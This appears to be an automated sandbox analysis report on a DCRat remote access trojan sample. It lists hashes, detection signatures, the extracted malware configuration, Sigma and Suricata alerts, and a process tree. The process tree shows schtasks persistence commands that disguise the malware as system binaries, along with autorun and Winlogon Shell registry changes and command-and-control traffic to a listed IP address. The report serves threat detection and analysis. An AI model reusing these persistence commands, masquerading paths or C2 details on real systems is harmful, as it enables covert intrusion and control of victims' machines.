Edit tour

Windows Analysis Report
2RM12KtuNp.exe

Overview

General Information

Sample name:	2RM12KtuNp.exe renamed because original name is a hash value
Original sample name:	77FFFEE187FABB45FFC7219D421EA83F.exe
Analysis ID:	1542666
MD5:	77fffee187fabb45ffc7219d421ea83f
SHA1:	3f21e5a79d674131678ac5de8eaf30bbfcbb177c
SHA256:	272d4708729e16b629b6ec2c3c04317f6579c2c8f24d171be0d9469dbbce4e26
Tags:	DCRatexeuser-abuse_ch
Infos:

Detection

DCRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Schedule system process

Suricata IDS alerts for network traffic

Yara detected DCRat

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Creates an undocumented autostart registry key

Creates multiple autostart registry keys

Creates processes via WMI

Disable UAC(promptonsecuredesktop)

Disables UAC (registry)

Drops PE files with benign system names

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: System File Execution Location Anomaly

Sigma detected: WScript or CScript Dropper

Sigma detected: Windows Binaries Write Suspicious Extensions

Uses schtasks.exe or at.exe to add and modify task schedules

Windows Scripting host queries suspicious COM object (likely to drop second stage)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains executable resources (Code or Archives)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: CurrentVersion NT Autorun Keys Modification

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

2RM12KtuNp.exe (PID: 5996 cmdline: "C:\Users\user\Desktop\2RM12KtuNp.exe" MD5: 77FFFEE187FABB45FFC7219D421EA83F)

schtasks.exe (PID: 7140 cmdline: schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 5 /tr "'C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6432 cmdline: schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6644 cmdline: schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 10 /tr "'C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5560 cmdline: schtasks.exe /create /tn "smsss" /sc MINUTE /mo 12 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\smss.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5900 cmdline: schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office 15\ClientX64\smss.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6520 cmdline: schtasks.exe /create /tn "smsss" /sc MINUTE /mo 8 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\smss.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3852 cmdline: schtasks.exe /create /tn "fuBYljHeUjtkgvlnNf" /sc MINUTE /mo 10 /tr "'C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 2676 cmdline: schtasks.exe /create /tn "fuBYljHeUjtkgvlnN" /sc ONLOGON /tr "'C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5804 cmdline: schtasks.exe /create /tn "fuBYljHeUjtkgvlnNf" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6644 cmdline: schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 9 /tr "'C:\Recovery\sppsvc.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 1076 cmdline: schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Recovery\sppsvc.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6592 cmdline: schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 7 /tr "'C:\Recovery\sppsvc.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3944 cmdline: schtasks.exe /create /tn "fuBYljHeUjtkgvlnNf" /sc MINUTE /mo 12 /tr "'C:\Recovery\fuBYljHeUjtkgvlnN.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 1308 cmdline: schtasks.exe /create /tn "fuBYljHeUjtkgvlnN" /sc ONLOGON /tr "'C:\Recovery\fuBYljHeUjtkgvlnN.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 1784 cmdline: schtasks.exe /create /tn "fuBYljHeUjtkgvlnNf" /sc MINUTE /mo 13 /tr "'C:\Recovery\fuBYljHeUjtkgvlnN.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 1084 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\LsQlNPpiOn.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2684 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

w32tm.exe (PID: 2300 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)

smss.exe (PID: 7552 cmdline: "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe" MD5: 77FFFEE187FABB45FFC7219D421EA83F)

WmiPrvSE.exe (PID: 6552 cmdline: "C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe" MD5: 77FFFEE187FABB45FFC7219D421EA83F)

WmiPrvSE.exe (PID: 6976 cmdline: "C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe" MD5: 77FFFEE187FABB45FFC7219D421EA83F)

fuBYljHeUjtkgvlnN.exe (PID: 5808 cmdline: C:\Recovery\fuBYljHeUjtkgvlnN.exe MD5: 77FFFEE187FABB45FFC7219D421EA83F)

fuBYljHeUjtkgvlnN.exe (PID: 6688 cmdline: C:\Recovery\fuBYljHeUjtkgvlnN.exe MD5: 77FFFEE187FABB45FFC7219D421EA83F)

smss.exe (PID: 7196 cmdline: "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe" MD5: 77FFFEE187FABB45FFC7219D421EA83F)

smss.exe (PID: 7252 cmdline: "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe" MD5: 77FFFEE187FABB45FFC7219D421EA83F)

sppsvc.exe (PID: 7276 cmdline: C:\Recovery\sppsvc.exe MD5: 77FFFEE187FABB45FFC7219D421EA83F)

sppsvc.exe (PID: 7288 cmdline: C:\Recovery\sppsvc.exe MD5: 77FFFEE187FABB45FFC7219D421EA83F)

WmiPrvSE.exe (PID: 7648 cmdline: "C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe" MD5: 77FFFEE187FABB45FFC7219D421EA83F)

smss.exe (PID: 7948 cmdline: "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe" MD5: 77FFFEE187FABB45FFC7219D421EA83F)

wscript.exe (PID: 8052 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\df7dcee1-31d9-41cd-9118-ff1c3adb1964.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

smss.exe (PID: 8172 cmdline: "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe" MD5: 77FFFEE187FABB45FFC7219D421EA83F)

wscript.exe (PID: 7528 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\b0c9a6b4-f4b7-4599-b561-a3049e581ced.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

smss.exe (PID: 360 cmdline: "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe" MD5: 77FFFEE187FABB45FFC7219D421EA83F)

wscript.exe (PID: 5900 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\7e00ec7d-7c2b-46a0-b437-c1650ed4cfe9.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

wscript.exe (PID: 8084 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\95f930af-8a5c-4110-bf02-41517346f671.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

fuBYljHeUjtkgvlnN.exe (PID: 180 cmdline: "C:\Recovery\fuBYljHeUjtkgvlnN.exe" MD5: 77FFFEE187FABB45FFC7219D421EA83F)

sppsvc.exe (PID: 1292 cmdline: "C:\Recovery\sppsvc.exe" MD5: 77FFFEE187FABB45FFC7219D421EA83F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Malware Configuration

Threatname: DCRat

{"SCRT": "{\"X\":\"|\",\"L\":\"#\",\"V\":\">\",\"6\":\"@\",\"H\":\"`\",\"W\":\"-\",\"y\":\" \",\"o\":\"$\",\"M\":\"!\",\"I\":\"<\",\"l\":\"_\",\"d\":\"~\",\"k\":\";\",\"h\":\",\",\"Z\":\"&\",\"G\":\"*\",\"S\":\"(\",\"P\":\"%\",\"J\":\"^\",\"C\":\".\",\"5\":\")\"}", "PCRT": "{\"W\":\"&\",\"U\":\",\",\"d\":\"-\",\"B\":\">\",\"E\":\"$\",\"F\":\"|\",\"0\":\" \",\"8\":\"<\",\"Z\":\"#\",\"R\":\"%\",\"J\":\";\",\"Q\":\"`\",\"V\":\"*\",\"w\":\"^\",\"T\":\")\",\"D\":\"_\",\"p\":\".\",\"x\":\"@\",\"1\":\"~\",\"X\":\"!\",\"h\":\"(\"}", "TAG": "MB", "MUTEX": "DCR_MUTEX-hARmkeRYgbd7inLJsfWZ", "LDTM": false, "DBG": false, "SST": 5, "SMST": 2, "BCS": 0, "AUR": 2, "ASCFG": {"searchpath": "%UsersFolder% - Fast"}, "AS": false, "ASO": false, "AD": false}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000018.00000002.2198817700.000000000286D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
0000001B.00000002.2204937478.0000000002CFD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000000.00000002.2107606474.0000000002491000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000024.00000002.2437817737.00000000027C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000017.00000002.2193867907.0000000002EA1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000000.00000002.2107606474.0000000002952000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
0000001C.00000002.2204609661.0000000003061000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000023.00000002.2372427654.0000000002B01000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000006.00000002.2172595624.00000000029A1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000018.00000002.2198817700.0000000002831000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
0000001E.00000002.2272871548.0000000002E11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000028.00000002.2522151926.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
0000001B.00000002.2204937478.0000000002CC1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000008.00000002.2172462532.0000000002F71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000008.00000002.2172462532.0000000002FAD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000027.00000002.2499185977.0000000002B10000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000000.00000002.2112936217.000000001249D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: 2RM12KtuNp.exe PID: 5996	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: WmiPrvSE.exe PID: 6552	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: WmiPrvSE.exe PID: 6976	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: fuBYljHeUjtkgvlnN.exe PID: 5808	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: fuBYljHeUjtkgvlnN.exe PID: 6688	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: sppsvc.exe PID: 7276	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: sppsvc.exe PID: 7288	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: WmiPrvSE.exe PID: 7648	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: smss.exe PID: 8172	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: fuBYljHeUjtkgvlnN.exe PID: 180	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: smss.exe PID: 360	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: sppsvc.exe PID: 1292	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 24 entries

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\2RM12KtuNp.exe, ProcessId: 5996, TargetFilename: C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Source: Threat created

Author: Perez Diego (@darkquassar), oscd.community: Data: EventID: 8, SourceImage: C:\Windows\System32\wscript.exe, SourceProcessId: 5900, StartAddress: BCE1BCC0, TargetImage: C:\Windows\System32\schtasks.exe, TargetProcessId: 5900

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\df7dcee1-31d9-41cd-9118-ff1c3adb1964.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\df7dcee1-31d9-41cd-9118-ff1c3adb1964.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe" , ParentImage: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe, ParentProcessId: 7948, ParentProcessName: smss.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\df7dcee1-31d9-41cd-9118-ff1c3adb1964.vbs" , ProcessId: 8052, ProcessName: wscript.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\df7dcee1-31d9-41cd-9118-ff1c3adb1964.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\df7dcee1-31d9-41cd-9118-ff1c3adb1964.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe" , ParentImage: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe, ParentProcessId: 7948, ParentProcessName: smss.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\df7dcee1-31d9-41cd-9118-ff1c3adb1964.vbs" , ProcessId: 8052, ProcessName: wscript.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe", CommandLine: "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe", CommandLine|base64offset|contains: 9q, Image: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe, NewProcessName: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe, OriginalFileName: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1068, ProcessCommandLine: "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe", ProcessId: 7196, ProcessName: smss.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\df7dcee1-31d9-41cd-9118-ff1c3adb1964.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\df7dcee1-31d9-41cd-9118-ff1c3adb1964.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe" , ParentImage: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe, ParentProcessId: 7948, ParentProcessName: smss.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\df7dcee1-31d9-41cd-9118-ff1c3adb1964.vbs" , ProcessId: 8052, ProcessName: wscript.exe

Sigma detected: Windows Binaries Write Suspicious Extensions

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe, ProcessId: 7948, TargetFilename: C:\Users\user\AppData\Local\Temp\df7dcee1-31d9-41cd-9118-ff1c3adb1964.vbs

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\2RM12KtuNp.exe, ProcessId: 5996, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE

Sigma detected: CurrentVersion NT Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: explorer.exe, "C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\2RM12KtuNp.exe, ProcessId: 5996, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\df7dcee1-31d9-41cd-9118-ff1c3adb1964.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\df7dcee1-31d9-41cd-9118-ff1c3adb1964.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe" , ParentImage: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe, ParentProcessId: 7948, ParentProcessName: smss.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\df7dcee1-31d9-41cd-9118-ff1c3adb1964.vbs" , ProcessId: 8052, ProcessName: wscript.exe

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

Author: Joe Security: Data: Command: schtasks.exe /create /tn "smsss" /sc MINUTE /mo 12 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\smss.exe'" /f, CommandLine: schtasks.exe /create /tn "smsss" /sc MINUTE /mo 12 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\smss.exe'" /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\2RM12KtuNp.exe", ParentImage: C:\Users\user\Desktop\2RM12KtuNp.exe, ParentProcessId: 5996, ParentProcessName: 2RM12KtuNp.exe, ProcessCommandLine: schtasks.exe /create /tn "smsss" /sc MINUTE /mo 12 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\smss.exe'" /f, ProcessId: 5560, ProcessName: schtasks.exe

Suricata Signatures

ET MALWARE DCRAT Activity (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T05:37:26.626554+0200	2034194	1	A Network Trojan was detected	192.168.2.5	49746	5.101.153.173	80	TCP
2024-10-26T05:37:32.706176+0200	2034194	1	A Network Trojan was detected	192.168.2.5	49780	5.101.153.173	80	TCP
2024-10-26T05:37:56.413274+0200	2034194	1	A Network Trojan was detected	192.168.2.5	49899	5.101.153.173	80	TCP
2024-10-26T05:38:23.161307+0200	2034194	1	A Network Trojan was detected	192.168.2.5	49985	5.101.153.173	80	TCP
2024-10-26T05:38:48.297767+0200	2034194	1	A Network Trojan was detected	192.168.2.5	49986	5.101.153.173	80	TCP
2024-10-26T05:39:03.234645+0200	2034194	1	A Network Trojan was detected	192.168.2.5	49987	5.101.153.173	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 2RM12KtuNp.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Users\user\AppData\Local\Temp\6097a71ae8c8063dafca0bb1115c8c625898b3ca.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Users\user\AppData\Local\Temp\95f930af-8a5c-4110-bf02-41517346f671.vbs	Avira: detection malicious, Label: VBS/Starter.VPVT
Source: C:\Users\user\AppData\Local\Temp\LsQlNPpiOn.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Recovery\sppsvc.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Users\user\AppData\Local\Temp\b0c9a6b4-f4b7-4599-b561-a3049e581ced.vbs	Avira: detection malicious, Label: VBS/Runner.VPXJ
Source: C:\Users\user\AppData\Local\Temp\7e00ec7d-7c2b-46a0-b437-c1650ed4cfe9.vbs	Avira: detection malicious, Label: VBS/Starter.VPVT
Source: C:\Users\user\AppData\Local\Temp\df7dcee1-31d9-41cd-9118-ff1c3adb1964.vbs	Avira: detection malicious, Label: VBS/Runner.VPXJ

Found malware configuration

Source: 00000000.00000002.2112936217.000000001249D000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: DCRat {"SCRT": "{\"X\":\"|\",\"L\":\"#\",\"V\":\">\",\"6\":\"@\",\"H\":\"`\",\"W\":\"-\",\"y\":\" \",\"o\":\"$\",\"M\":\"!\",\"I\":\"<\",\"l\":\"_\",\"d\":\"~\",\"k\":\";\",\"h\":\",\",\"Z\":\"&\",\"G\":\"*\",\"S\":\"(\",\"P\":\"%\",\"J\":\"^\",\"C\":\".\",\"5\":\")\"}", "PCRT": "{\"W\":\"&\",\"U\":\",\",\"d\":\"-\",\"B\":\">\",\"E\":\"$\",\"F\":\"|\",\"0\":\" \",\"8\":\"<\",\"Z\":\"#\",\"R\":\"%\",\"J\":\";\",\"Q\":\"`\",\"V\":\"*\",\"w\":\"^\",\"T\":\")\",\"D\":\"_\",\"p\":\".\",\"x\":\"@\",\"1\":\"~\",\"X\":\"!\",\"h\":\"(\"}", "TAG": "MB", "MUTEX": "DCR_MUTEX-hARmkeRYgbd7inLJsfWZ", "LDTM": false, "DBG": false, "SST": 5, "SMST": 2, "BCS": 0, "AUR": 2, "ASCFG": {"searchpath": "%UsersFolder% - Fast"}, "AS": false, "ASO": false, "AD": false}

Multi AV Scanner detection for dropped file

Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	ReversingLabs: Detection: 76%
Source: C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe	ReversingLabs: Detection: 76%
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	ReversingLabs: Detection: 76%
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	ReversingLabs: Detection: 76%
Source: C:\Recovery\sppsvc.exe	ReversingLabs: Detection: 76%
Source: C:\Users\user\AppData\Local\Temp\6097a71ae8c8063dafca0bb1115c8c625898b3ca.exe	ReversingLabs: Detection: 76%

Multi AV Scanner detection for submitted file

Source: 2RM12KtuNp.exe	ReversingLabs: Detection: 76%
Source: 2RM12KtuNp.exe	Virustotal: Detection: 75%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\6097a71ae8c8063dafca0bb1115c8c625898b3ca.exe	Joe Sandbox ML: detected
